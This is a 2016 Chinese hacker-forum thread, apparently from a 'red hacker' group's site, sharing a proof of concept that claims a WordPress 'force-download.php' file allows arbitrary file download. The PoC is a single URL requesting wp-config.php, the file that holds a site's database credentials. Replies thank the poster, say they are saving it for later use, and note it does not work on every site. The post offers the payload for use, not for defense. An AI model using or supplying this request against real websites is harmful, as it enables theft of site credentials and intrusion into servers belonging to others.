Wordpress强制下载任意文件下载漏洞

90_ · 发表于 2016-8-21 23:22:36

[PHP] 纯文本查看 复制代码

######################
# PoC
######################
# [+] Using `force-download.php` file from `Wordpress websites we can download any file.
#
# [!] [url]http://ihonker.org/force-download.php?file=wp-config.php[/url]
#
######################

十页书 · 发表于 2016-8-22 11:49:08

试了试貌似不是所有的都管用

乔治 · 发表于 2016-8-22 16:28:44

666，这么出名的程序居然还有漏洞。

贯之 · 发表于 2016-8-22 17:00:47

收藏以后用！！

细草微风岸 · 发表于 2016-8-23 09:13:06

没看懂！

aimet · 发表于 2016-8-23 10:19:40

我也没看懂

porry · 发表于 2016-8-23 19:27:26

哪个版本的？

yanshen · 发表于 2016-8-25 19:29:53

好思路！！

kill-null · 发表于 2016-8-29 01:32:02

谢谢分享

中国红客联盟 - 08安全团队

Wordpress强制下载任意文件下载漏洞

相关帖子

RE: Wordpress强制下载任意文件下载漏洞